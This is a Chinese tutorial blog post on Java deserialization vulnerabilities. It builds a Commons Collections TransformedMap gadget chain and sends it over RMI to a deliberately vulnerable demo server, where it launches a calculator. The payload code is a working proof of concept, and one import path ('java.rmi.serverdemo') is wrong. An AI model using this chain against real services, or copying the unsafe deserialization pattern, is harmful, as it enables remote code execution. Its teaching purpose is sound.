從原理學習Java反序列化

土豆分米豬發表於2022-03-18

1 序列化與反序列化

1.1 概念

  • 序列化: 將資料結構或物件轉換成二進位制串的過程
  • 反序列化:將在序列化過程中所生成的二進位制串轉換成資料結構或者物件的過程

1.2 使用場景

  • 當你想把的記憶體中的物件狀態儲存到一個檔案中或者資料庫中時候。
  • 當你想用套接字在網路上傳送物件的時候。
  • 當你想通過 RMI 傳輸物件的時候。

2 RMI

2.1 什麼是 RMI

RMI(Remote Method Invocation)為遠端方法呼叫,是允許執行在一個 Java 虛擬機器的物件呼叫執行在另一個 Java 虛擬機器上的物件的方法。 這兩個虛擬機器可以是執行在相同計算機上的不同程式中,也可以是執行在網路上的不同計算機中。

2.2 使用例子

2.2.1 程式碼

// RMI 介面
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmidemo extends Remote {
    public String hello() throws RemoteException;
}
// RMI 類
package rmi;

import org.apache.commons.collections.map.TransformedMap;

import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {

    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("構造方法");
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("Hello invoked!");
        return "Hello,world!";
    }
}
// 服務端程式
package rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("hello", hello);
    }
}
// 客戶端程式
package rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class clientdemo {
    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException {
        // lookup 伺服器的遠端類
        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
        // 遠端呼叫伺服器函式
        System.out.println(hello.hello());
    }
}

2.2.2 執行結果

伺服器端:

客戶端:

可以看出通過 RMI 只能呼叫伺服器上已經存在的函式,不能直接把我們的程式碼傳輸到伺服器上執行。

3 反射

3.1 什麼是反射

對於任意一個類,都能夠得到這個類的所有屬性和方法;對於任意一個物件,都能夠呼叫它的任意方法和屬性;這種動態獲取資訊以及動態呼叫物件方法的功能稱為 Java 語言的反射機制。

3.2 例子

package reflectiondemo;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class TestReflection {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class RuntimeClass = Class.forName("java.lang.Runtime");
        Method method = RuntimeClass.getMethod("getRuntime");
        Object runtime = method.invoke(RuntimeClass);
        RuntimeClass.getMethod("exec", String.class).invoke(runtime, "gnome-calculator");
    }

}

可以看到,在例項的程式碼中,並沒有使用 Runtime 這個關鍵字,但是可以直接使用 Runtime 這個類及其實現的方法完成命令執行。在實際漏洞利用的過程中,軟體開發者肯定不會幫攻擊者匯入好漏洞利用需要用到的類,所以使用反射就非常關鍵。

但是這段程式碼只能在本地執行,沒辦法通過 RMI 傳輸到伺服器上執行。

4 Transformer

4.1 定義

此抽象類的例項可以將源樹轉換為結果樹。

可以使用 TransformerFactory.newTransformer 方法獲得此類的例項。 然後,該例項可用於處理來自各種源的XML,並將轉換輸出寫入各種接收器。

此類的物件不能在併發執行的多個執行緒中使用。 不同的執行緒可以同時使用不同的變換器。

可以多次使用 Transformer 。 變換之間保留引數和輸出屬性。

可以將 Transformer 理解為一個轉換器,不同的 Transformer 實現不同的功能,通過呼叫 transform 方法來使用 Transformer 的具體功能。

4.2 常用 Transformer 介紹

4.2.1 ConstantTransformer

每次返回相同常量的轉換器實現。

// 建構函式
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

// transform 方法
public Object transform(Object input) {
    return iConstant;
}

從原始碼可以看出,它的功能很簡單,就是直接返回傳入的物件。

4.2.2 InvokerTransformer

通過反射建立新物件例項的轉換器實現。

// 建構函式
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

// tranform 方法
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

從原始碼可以看出, InvokerTransformer 的作用是通過反射呼叫指定類的指定方法,並將呼叫結果返回。

4.2.1 ChainedTransformer

將指定的轉換器連結在一起的轉換器實現。

// 建構函式
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

// transform 方法
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

從原始碼可以看出, ChainedTransformer 的建構函式接收一個 Transformer 的列表,呼叫 transform 方法時,接收一個物件引數,使用該列表中的每一個 Transformer 對該物件引數進行 transform 操作,並最終返回傳入的物件引數。

4.3 例項

使用 Transformer,我們可以將上面反射的例子改一下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;


public class TestTransform {

    public static void main(String[] args) throws IOException {
        // 構造一個 Transformer 列表
        Transformer[] transformers = new Transformer[] {
                // 使用 ConstantTransformer 得到一個 Runtime.class
                new ConstantTransformer(Runtime.class),
                // 使用 InvokerTransformer 通過反射機制呼叫 getRuntime 方法
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
                // 使用 InvokerTransformer 通過反射機制呼叫 呼叫 invoke 方法
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
                // 使用 InvokerTransformer 通過反射機制呼叫 exec 方法,實現命令執行
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
        };
        // 使用 ChainedTransformer 將這些 Transformer 連線起來
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 對列表中的 Transformer 的 Transform 方法逐個呼叫
        chainedTransformer.transform("1");
    }
}

使用 Transformer 改寫這段程式碼,是為了將命令執行的操作從程式碼轉換成物件,這樣就可以通過網路傳輸了。

此時,我們只需要通過 RMI 將 chainedTransformer 這個物件傳輸到伺服器上,呼叫 transform 方法,就可以觸發程式碼執行。

5 反序列化漏洞例項

5.1 TransformedMap

裝飾另一個 Map 以轉換新增的物件。

簡單來說就是給普通的 Map 物件新增 transform 功能,檢視原始碼:

// 可以使用該方法將普通 Map 轉換為 TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

// 建構函式
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    // 主要是這裡,將引數直接賦值給 valueTransformer 了
    this.valueTransformer = valueTransformer;
}

protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    // 注意,這裡會呼叫 transform 方法
    return valueTransformer.transform(object);
}

// put 方法會呼叫 transformValue 方法
public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

簡單來說,我們可以將一個普通的 Map 轉換成 TransformedMap,然後通過 RMI 傳輸到伺服器上,找到伺服器上呼叫 Map.put 的地方,就可以實現命令執行。

5.2 漏洞原理

5.3 程式碼

// rmidemo.java
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 定義一個 Remote 介面
public interface rmidemo extends Remote {
    // 宣告一個函式,注意這個函式可以傳入一個引數,這是漏洞利用的點
    public String hello(Object obj) throws RemoteException;
}


// RemoteHelloWorld.java
package rmi;

import org.apache.commons.collections.map.TransformedMap;

import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject;

// 定義一個類實現上面的 Remote 介面
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {

    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("構造方法");
    }

    // 從遠端呼叫的客戶端獲取引數
    @Override
    public String hello(Object obj) throws RemoteException {
        System.out.println("Hello invoked!");
        TransformedMap map = (TransformedMap) obj;
        // 漏洞產生的位置,TransformedMap 的 put 方法會呼叫 transform 方法
        // 在本例中,只要能夠觸發 obj 的 transform 方法就可以實現程式碼執行
        // 這雖然是我故意寫的漏洞,但是日常編碼過程中很難想象到 put 操作居然會導致命令執行
        map.put("1", "1");
        return "Hello,world!";
    }
}

// serverdemo.java
package rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 伺服器端程式碼
public class serverdemo {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("hello", hello);
    }
}

// clientdemo.java
package rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

// 客戶端程式碼
public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
        // 通過 RMI 提交 payload
        System.out.println(hello.hello(getPayload()));
    }

    // 構造惡意物件
    public static Object getPayload()  {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
        };
        // ChainedTransformer 的特性,會對傳入的 Transformer 陣列逐個執行 transform
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "value");
        // 將普通 Map 轉換成 TransformedMap
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        return transformedMap;
    }
}

6 總結

Java 反序列化漏洞的利用,核心思想在於構造一個惡意物件,通過 RMI 遠端呼叫把惡意物件傳輸到伺服器,通過觸發惡意物件的 transform 方法或者其他可以執行命令的方法,實現命令執行。

7 參考文章

相關文章